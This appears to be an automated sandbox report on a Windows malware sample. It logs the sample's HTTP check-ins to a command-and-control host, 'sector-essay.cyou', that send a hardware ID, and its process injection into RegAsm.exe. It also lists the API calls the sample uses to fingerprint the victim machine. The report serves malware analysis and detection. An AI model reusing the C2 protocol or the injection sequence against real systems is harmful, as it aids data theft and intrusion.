2024-11-24 07:35:51 UTC	15331	OUT	Data Raw: 0d a6 eb 5f 48 31 57 dd 16 d4 24 a2 3e a0 90 46 7d dc ac eb 0e 16 0f 94 21 7b 2f fb 8c e8 e9 e2 16 68 25 05 77 be 1e b1 ab 56 8d a0 5c be 5f 75 2d c3 a5 bc 82 2f 0c be 7f 3a 9d d6 a0 01 e8 f6 78 1e aa ee 53 c7 7f 00 3c 5b 87 7c 3d 0e 47 a8 e0 df c3 43 e6 ff f1 27 bd 12 de cc 79 56 19 75 45 f3 be f7 44 89 37 df 6d 04 78 f5 de bc 88 8f 7a 6a 99 bb 6e 78 12 e0 7b d5 17 2d 78 1e 71 60 91 3f 7b 2f 49 05 8c 55 1b 0f 68 03 1b 79 58 12 3c 73 8c 1c 57 42 c1 47 84 78 84 2a bc f6 c5 df a1 92 d9 74 e1 6d 71 e6 db 02 fb 5c 4c 4d c3 44 f0 38 33 92 51 e2 1d b2 51 16 5f 64 9a cc 97 fa 84 6f 73 66 e1 cb 58 51 9a b0 9a 91 33 0c 43 1c 79 6e 2a 01 cd bb ac 7a 0d 9f a8 67 be 93 af 8c ad ef 91 ed 68 77 41 0a f2 eb 05 5e 3a 2d bb ca 07 c6 0e 8f b8 24 23 31 01 43 62 17 2c 16 71 Data Ascii: _H1W$>F}!{/h%wV\_u-/:xS<[\|=GC'yVuED7mxzjnx{-xq`?{/IUhyX<sWBGxtmq\LMD83QQ_dosfXQ3CynzghwA^:-$#1Cb,q
2024-11-24 07:35:54 UTC	1023	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cngl21c7fnpkacsa3v4cri2g81; expires=Thu, 20-Mar-2025 01:22:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SVSvdxOZXsOOJG9QN%2BVRoVxLsuKQiZDx%2BkTDNHlKhdMuseOJwN9UrgrXieogOM5jGddNOmNgORW6ET6vI0LCMlgADklkWnbnl0vquRYSRkINgEJMNDoWWA01B5ZeJq%2BWE5mWGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77b986cd9843b5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1730&sent=202&recv=593&lost=0&retrans=0&sent_bytes=2843&recv_bytes=571961&delivery_rate=1650650&cwnd=225&unsent_bytes=0&cid=db38436929f534cb&ts=2353&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49722	104.21.47.136	443	6392	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:35:55 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sector-essay.cyou
2024-11-24 07:35:55 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 32 38 31 35 34 37 31 37 26 6a 3d 26 68 77 69 64 3d 35 36 39 37 45 44 37 42 33 41 37 35 38 37 31 37 46 45 45 38 31 35 45 42 34 30 33 46 35 44 35 34 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--6928154717&j=&hwid=5697ED7B3A758717FEE815EB403F5D54
2024-11-24 07:35:56 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=22chn6rhparhammscg5vlg7k35; expires=Thu, 20-Mar-2025 01:22:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V5Xr3BkrtnphsjFZzUcQxZ0tjbsqOmAQFT1Ea2bQQGe9Ux%2BEJEfMnRyuVH9EBCskQ95midNINxF3StXG2FOrEnJkLWlMMyDdLCgiE12SuYRRbwfkTb%2BZp87NAF6B80mTTnP1uQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77b99e0d1319b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1782&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=988&delivery_rate=1588683&cwnd=149&unsent_bytes=0&cid=b1ae0f353bf314f6&ts=732&x=0"
2024-11-24 07:35:56 UTC	54	IN	Data Raw: 33 30 0d 0a 75 35 35 55 54 74 5a 76 30 57 30 51 4a 5a 72 36 73 6b 36 73 54 70 44 77 72 36 4f 65 75 44 42 47 51 42 2b 47 73 66 38 75 45 30 50 67 77 77 3d 3d 0d 0a Data Ascii: 30u55UTtZv0W0QJZr6sk6sTpDwr6OeuDBGQB+Gsf8uE0Pgww==
2024-11-24 07:35:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:35:32
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\ZjH6H6xqo7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ZjH6H6xqo7.exe"
Imagebase:	0xae0000
File size:	44'544 bytes
MD5 hash:	16A1FBD21AF85D43B1AC31BF1829A152
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:35:35
Start date:	24/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline"
Imagebase:	0xc00000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:35:35
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:35:35
Start date:	24/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6781.tmp" "c:\Users\user\AppData\Local\Temp\up5gphgh\CSCE347F25DAC914FE0BD5774A121A2513C.TMP"
Imagebase:	0xb60000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:35:35
Start date:	24/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
Imagebase:	0xe60000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	16.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	111
Total number of Limit Nodes:	0

Executed Functions

Function 01572805 Relevance: 1.7, APIs: 1, Instructions: 245
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 01572A46

Memory Dump Source

Source File: 00000000.00000002.2074403070.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_ZjH6H6xqo7.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 6efbce66c035facf31f3205772b2cfa692420a56c864e9830918d1597dda55e5
Instruction ID: ec7c7c04bdf8e57d679649265ec3c5d8e8ecd9baadea5c64cd6d8d4cb7dfb606
Opcode Fuzzy Hash: 6efbce66c035facf31f3205772b2cfa692420a56c864e9830918d1597dda55e5
Instruction Fuzzy Hash: 81A17E71D00219CFDB25DF69D8417EDBBB2BF48314F14856AE818AB280DB749985CF91

Function 01572810 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 01572A46

Memory Dump Source

Source File: 00000000.00000002.2074403070.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_ZjH6H6xqo7.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7cdca0e1871e52f384acb20117d96d68ecd4844e25b08442614d48dd9e721525
Instruction ID: 280f4a2ea2e5390b3e41f3dd2a28cb19c91409d9786168d4ef9ee00bae79a55f
Opcode Fuzzy Hash: 7cdca0e1871e52f384acb20117d96d68ecd4844e25b08442614d48dd9e721525
Instruction Fuzzy Hash: 38917D71D00219CFEB25DF69D841BEDBBB2BF48314F14856AE818AB280DB749985CF91

Function 01572581 Relevance: 1.6, APIs: 1, Instructions: 70
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 01572618

Memory Dump Source

Source File: 00000000.00000002.2074403070.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_ZjH6H6xqo7.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c3916b6c750b10566ea9fb61a28b2cfc146b22a38addca504583b6e3f7fc6f63
Instruction ID: 1d099eda8dcaac23ca8fd46fad520e548b21ff0a1dc21379bb7ace44ea0d80ce
Opcode Fuzzy Hash: c3916b6c750b10566ea9fb61a28b2cfc146b22a38addca504583b6e3f7fc6f63
Instruction Fuzzy Hash: F02126B5D103499FDB10DFA9C985BEEBBF5FF88310F10842AE919A7250D7789944CBA0

Function 01572588 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 01572618

Memory Dump Source

Source File: 00000000.00000002.2074403070.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_ZjH6H6xqo7.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c58126a648accce2831734a5918cadf585cef107b123caeeb54a01cef6e5452d
Instruction ID: 75113a9aa4b42ff5b2f36924d3294e13d98f2bf544e672d1173ca0542e6a9336
Opcode Fuzzy Hash: c58126a648accce2831734a5918cadf585cef107b123caeeb54a01cef6e5452d
Instruction Fuzzy Hash: 8D211B75D003499FDB10DFA9C945BDEBBF5FF48310F10842AE519A7240D7789944CBA5

Function 01572670 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 015726F8

Memory Dump Source

Source File: 00000000.00000002.2074403070.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_ZjH6H6xqo7.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1a65a17e8a4c06de91ed6cd4d27ac4802bf3dac7b734b7e236ab9586105a40a6
Instruction ID: 64ecddd8a566689a16af7af6977e094aed8c850bae0cd43daa7995b8e24dca8e
Opcode Fuzzy Hash: 1a65a17e8a4c06de91ed6cd4d27ac4802bf3dac7b734b7e236ab9586105a40a6
Instruction Fuzzy Hash: 202124B1C003499FCB10CFA9C885AEEBBF5FF88310F10882EE519A7250C7389941CBA1

Function 015723E8 Relevance: 1.6, APIs: 1, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0157246E

Memory Dump Source

Source File: 00000000.00000002.2074403070.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_ZjH6H6xqo7.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d36ffb0cfa68c1bb295c9705e994b1871f87a4804da05feb57372bf02eed5ab4
Instruction ID: 5e0d0871f992ad9f74dacf0dab9c7876a25f6051497bfb9d3d1eeeb0e8c524ba
Opcode Fuzzy Hash: d36ffb0cfa68c1bb295c9705e994b1871f87a4804da05feb57372bf02eed5ab4
Instruction Fuzzy Hash: AE2100B1D002098FDB14DFAAC485BEEBBF5EF89324F10842AD559A7240DB789945CBA1

Function 015723F0 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0157246E

Memory Dump Source

Source File: 00000000.00000002.2074403070.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_ZjH6H6xqo7.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 881ca8affd10d1323463eae007032877336d9368de574b848d3d5ca440cd1eaf
Instruction ID: ee22af16f6cf79792771036364adbd6752036b1992775af80d80730c8de44593
Opcode Fuzzy Hash: 881ca8affd10d1323463eae007032877336d9368de574b848d3d5ca440cd1eaf
Instruction Fuzzy Hash: 9B2115B1D002098FDB14DFAAC485BEEBBF5FF88314F14842AD559A7240DB78A945CFA1

Function 01572678 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 015726F8

Memory Dump Source

Source File: 00000000.00000002.2074403070.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_ZjH6H6xqo7.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 91bdf457b1ddcc68c4a9e752617bc296d1e272e3dcf3212409016b60c3cb9598
Instruction ID: 65ee72949be66ee14c48c9b2f8a220d815de1d7f6165eecafa144a6ffdfe454d
Opcode Fuzzy Hash: 91bdf457b1ddcc68c4a9e752617bc296d1e272e3dcf3212409016b60c3cb9598
Instruction Fuzzy Hash: BC2138B1C003499FDB10DFAAC981AEEFBF5FF48310F10842AE519A7240C7789944CBA1

Function 015724C1 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 01572536

Memory Dump Source

Source File: 00000000.00000002.2074403070.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_ZjH6H6xqo7.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 89d86cbfca2eca573d4c7bd5e5c6c1396e1de670a741f1cbfb8e37bb8168359d
Instruction ID: db2224eddb0d2ff1d134e7f7e97a413bea2f09b03fb09ca9814d8bfea939e8bf
Opcode Fuzzy Hash: 89d86cbfca2eca573d4c7bd5e5c6c1396e1de670a741f1cbfb8e37bb8168359d
Instruction Fuzzy Hash: C7112672C002499FCB14DFA9D845AEEBFF5FF88314F24881AE519AB250C7799944CFA0

Function 015724C8 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 01572536

Memory Dump Source

Source File: 00000000.00000002.2074403070.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_ZjH6H6xqo7.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d24e17269f618b9af028437490823ea24b5d35dddf9d9eac8b35751a93d8a6b4
Instruction ID: 170ad60d75903820b3b505cfb7920225c2714ca9e3fe51154029ae94f2c5d0db
Opcode Fuzzy Hash: d24e17269f618b9af028437490823ea24b5d35dddf9d9eac8b35751a93d8a6b4
Instruction Fuzzy Hash: F41137718002499FCB10DFAAD845AEEFFF5FF88310F108819E519A7250C779A940CFA1

Function 01572339 Relevance: 1.6, APIs: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 015723A2

Memory Dump Source

Source File: 00000000.00000002.2074403070.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_ZjH6H6xqo7.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f62d3a096ac99345972c3b5a48771188d96fbba8346e9defd34958d8d14da3ae
Instruction ID: 1f7c55bcf22ee1a92732b91ef0ea23bdbef87f3051d1ad22e4b0d3f8fefc5de8
Opcode Fuzzy Hash: f62d3a096ac99345972c3b5a48771188d96fbba8346e9defd34958d8d14da3ae
Instruction Fuzzy Hash: 1C1128B1D003488FDB14DFAAD5457EEFBF5EF88324F20882AD519A7250C7799944CBA1

Function 01572340 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 015723A2

Memory Dump Source

Source File: 00000000.00000002.2074403070.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_ZjH6H6xqo7.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 94b4d318a0119b87900cd9330563cf65f9f1bf09f7cdb1c0ef717b55f85dcf52
Instruction ID: 67d863dd7591eaac5f390cf007069ba652629a89c0dd92843fda5ec49deda8ce
Opcode Fuzzy Hash: 94b4d318a0119b87900cd9330563cf65f9f1bf09f7cdb1c0ef717b55f85dcf52
Instruction Fuzzy Hash: DC113AB1D003488FDB14DFAAC4457EEFBF5EF88314F208419D519A7240CB79A944CBA1

Analysis Process: RegAsm.exePID: 6392, Parent PID: 5452COMMON

Execution Graph

Execution Coverage:	8.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	66.8%
Total number of Nodes:	238
Total number of Limit Nodes:	19

Executed Functions

Function 00439250 Relevance: 32.1, APIs: 11, Strings: 7, Instructions: 627
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00443678,00000000,00000001,00443668,00000000), ref: 0043935D
SysAllocString.OLEAUT32(194B1B42), ref: 00439420
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043946A
SysAllocString.OLEAUT32(194B1B42), ref: 004394BE
SysAllocString.OLEAUT32(194B1B42), ref: 0043957F
VariantInit.OLEAUT32(?), ref: 004395EA
SysFreeString.OLEAUT32(?), ref: 00439916
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,8F59896D,00000000,00000000,00000000,00000000), ref: 00439947

Strings

C, xrefs: 0043930C
hw, xrefs: 00439393
lc, xrefs: 00439628
\, xrefs: 00439317
89, xrefs: 00439528
Ig:e, xrefs: 00439373
7o=m, xrefs: 00439383

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: String$Alloc$BlanketCreateFreeInformationInitInstanceProxyVariantVolume
String ID: 7o=m$89$C$Ig:e$\$hw$lc
API String ID: 505850577-4291297616
Opcode ID: 0d9db5b245d2ce6c81176f84728941803a693ae74ea654298c89b6ce03bbb13d
Instruction ID: 4875b3428042338d19e7170f3aaea273ecd47b7a9897bebdcd795001d034bec3
Opcode Fuzzy Hash: 0d9db5b245d2ce6c81176f84728941803a693ae74ea654298c89b6ce03bbb13d
Instruction Fuzzy Hash: 10223276A183019FE314CF28C89176BBBE1EFCA314F14892DE5959B391D7B8D805CB86

Function 00422D10 Relevance: 16.8, Strings: 13, Instructions: 584
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 00423005
1, xrefs: 00422F3F
3, xrefs: 00422F49
,, xrefs: 00423319
!@, xrefs: 00422D46
f, xrefs: 00422F3A
/, xrefs: 0042300D
2, xrefs: 00422F44
+, xrefs: 004233B8
+, xrefs: 00422FED
*, xrefs: 004233BD
), xrefs: 00422FFD
/, xrefs: 004233B3

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeapInitializeThunk
String ID: !@$($)$*$+$+$,$/$/$1$2$3$f
API String ID: 383220839-3341998751
Opcode ID: 0e7c90368221c0814dd1a174816d4e6c61afc9ccdfb36f4a8009d3125df19c50
Instruction ID: 18a18858be2276d736ea764ddcbb21285169e24f3d603c0614fa0cb3e178f1e1
Opcode Fuzzy Hash: 0e7c90368221c0814dd1a174816d4e6c61afc9ccdfb36f4a8009d3125df19c50
Instruction Fuzzy Hash: 7532D03160C3908FD325DF28D48036EBBE1AB85314F588A6EE5D587392D7BD8945CB4B

Function 0042E3BE Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 669
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042E3B1
GetPhysicallyInstalledSystemMemory.KERNELBASE(00000000), ref: 0042E7DC

Strings

*XJl, xrefs: 0042E916
YwS9, xrefs: 0042E840
xtNw, xrefs: 0042E920

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: FreeInstalledLibraryMemoryPhysicallySystem
String ID: *XJl$YwS9$xtNw
API String ID: 2745378098-2076723864
Opcode ID: 11e01c268bc6cc07dac0ff966c06403923485280336a2349d59ef7a7537905d3
Instruction ID: 0cb95c5ddde5167c2878493bc37a8644eb6a7979be790ba108b356da41a9ce9e
Opcode Fuzzy Hash: 11e01c268bc6cc07dac0ff966c06403923485280336a2349d59ef7a7537905d3
Instruction Fuzzy Hash: FD220970608B918FD729CF3694607A3BBE2AF57304F58886EC0DB87792D739A406CB55

Function 0040CDB0 Relevance: 7.7, Strings: 6, Instructions: 249
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5697ED7B3A758717FEE815EB403F5D54, xrefs: 0040CE08
sector-essay.cyou, xrefs: 0040D166
\W, xrefs: 0040D0FD
xr, xrefs: 0040CFDA
T1S7, xrefs: 0040D074
1BE*, xrefs: 0040CE73

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 1BE*$5697ED7B3A758717FEE815EB403F5D54$T1S7$\W$sector-essay.cyou$xr
API String ID: 0-1795187820
Opcode ID: 17b1c972bd5d4324f82aae2a25e503d7fc9efe7fc73f3fb4394cad4a3cfe7439
Instruction ID: 7f445f716dfeb872be7e3e2942958d1a2f027dffcd5dd8ff26c4465676a265c2
Opcode Fuzzy Hash: 17b1c972bd5d4324f82aae2a25e503d7fc9efe7fc73f3fb4394cad4a3cfe7439
Instruction Fuzzy Hash: 0A91BDB154D3D18FD331CF29D4907EBBBE1AB96304F14896DD0DA5B382DA39480A8B97

Function 0040E4AF Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 244
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040E4AF

Strings

%>?, xrefs: 0040E59B
7(6 , xrefs: 0040E585
=$10, xrefs: 0040E590
T|2, xrefs: 0040E4BD

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: Uninitialize
String ID: %>?$7(6 $=$10$T|2
API String ID: 3861434553-3970780521
Opcode ID: 850fe3248efb4ac56c1d4687eb20485ed2fcb756a54de3d014a812383dd949de
Instruction ID: 92f2906561030d20e4974ae0f3e2c5ce2d8a325bbd40e4d19a7462f81e4708f7
Opcode Fuzzy Hash: 850fe3248efb4ac56c1d4687eb20485ed2fcb756a54de3d014a812383dd949de
Instruction Fuzzy Hash: D651167550C3D28AD3258B26D4507ABBFE2AFA3300F5C8C6ED4C9A7382D77988098756

Function 00408A70 Relevance: 7.6, APIs: 5, Instructions: 137
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408A92
GetCurrentThreadId.KERNEL32 ref: 00408AA5
GetCurrentProcessId.KERNEL32 ref: 00408AF8
GetForegroundWindow.USER32 ref: 00408B62

Part of subcall function 0040CD40: CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CD53

Part of subcall function 0040BAE0: FreeLibrary.KERNEL32(00408C15), ref: 0040BAE6
Part of subcall function 0040BAE0: FreeLibrary.KERNEL32 ref: 0040BB07

ExitProcess.KERNEL32 ref: 00408C1C

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundInitializePathSpecialThreadWindow
String ID:
API String ID: 3072701918-0
Opcode ID: b6c3b0a77390ba7a6dfcba04f710edca301b5b945b6146972dba92d56e1b716d
Instruction ID: d3a72b71d84b3b02ec3761c03409b60bdcfe6a7a07409fb054609b6c9cc15e35
Opcode Fuzzy Hash: b6c3b0a77390ba7a6dfcba04f710edca301b5b945b6146972dba92d56e1b716d
Instruction Fuzzy Hash: 6B412777F407190BD7286AA9DD8A366B5964BC4711F0A413EAA84EB3D2FDFC8C0446C8

Function 0042D304 Relevance: 3.4, APIs: 2, Instructions: 421
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042D423
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 0042D4EF

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: b19bbbee5f47dadc0b832df9eaf1bee1b64d03f900b39eb79acd8ed5907b8eef
Instruction ID: 89e4f82b84a28f81d5a6469b3470d4e63a59147a0d84765ae0e0f3c6f7d63153
Opcode Fuzzy Hash: b19bbbee5f47dadc0b832df9eaf1bee1b64d03f900b39eb79acd8ed5907b8eef
Instruction Fuzzy Hash: 0EE1C720608B918EE725CB39D4507B3BBE19F67304F58889EC4EA8B387D779A409C765

